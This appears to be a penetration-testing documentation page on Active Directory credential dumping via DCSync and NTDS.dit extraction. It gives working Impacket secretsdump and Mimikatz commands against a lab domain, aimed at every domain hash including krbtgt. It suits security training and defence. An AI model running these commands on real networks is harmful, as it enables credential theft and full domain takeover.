> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Domain Credential Dumping

Pulling credential material straight out of Active Directory's database, rather than from any single host. Two routes get there: abusing AD's own replication protocol to ask a Domain Controller for the data directly (DCSync), or pulling the raw `NTDS.dit` database file off a DC and parsing it offline. Both end with the same thing, every domain account's password hash, including `krbtgt`.

> **DCSync**
>
> Impersonate a Domain Controller over the Directory Replication Service protocol and ask another DC to just hand over the hashes. No file access, no disk I/O on the DC at all.

> **NTDS.dit Extraction**
>
> Pull the actual database file off a DC's disk (live via a shadow copy, or from a backup/clone) and parse the hashes out of it offline.

***

## DCSync

Domain Controllers normally replicate directory data between each other using the Directory Replication Service Remote Protocol (MS-DRSR). DCSync abuses this directly: any principal holding the `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` extended rights on the domain object can ask a DC for that data too, the DC has no way to tell the request apart from a legitimate replication partner. Domain Admins, Enterprise Admins, and DCs themselves hold these rights by default, so does anything granted the combined `DCSync` right via ACL abuse.

```bash theme={null}
# Linux (Impacket)
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
secretsdump.py -just-dc-user LOGISTICS/krbtgt INLANEFREIGHT/adunn@172.16.5.5   # single account only, e.g. krbtgt
```

```text theme={null}
# Windows (Mimikatz)
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:Administrator
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:krbtgt
```

> [!TIP]
>
> No agent or admin session on the DC itself is ever touched, this makes DCSync one of the quietest ways to get the `krbtgt` hash needed for a [Golden Ticket](https://0-x.dev/ad/kerberos-ticket-attacks.md#golden-ticket).

***

## NTDS.dit Extraction

`NTDS.dit` holds the same data DCSync retrieves, but as a locked database file on the DC's disk, it can't just be copied while the system is running. [SeBackupPrivilege](https://0-x.dev/windows-user-rights-assignment.md#sebackupprivilege) covers the `diskshadow` method of getting the file off a live DC, it's just as often obtained from a DC backup or a cloned/virtualized DC's disk (see [Hyper-V Administrators](https://0-x.dev/ad/privileged-groups.md#hyper-v-administrators)) instead.

Once the `NTDS.dit` file (plus the `SYSTEM` hive, needed to decrypt it) is in hand run:

```bash theme={null}
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```

> [!TIP]
>
> `lsadump::lsa /patch` is a related but different Mimikatz technique, it dumps every domain hash live, directly on a DC, rather than parsing an offline `NTDS.dit` copy. No file extraction step at all.
>
> ```text theme={null}
> lsadump::lsa /patch
> ```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.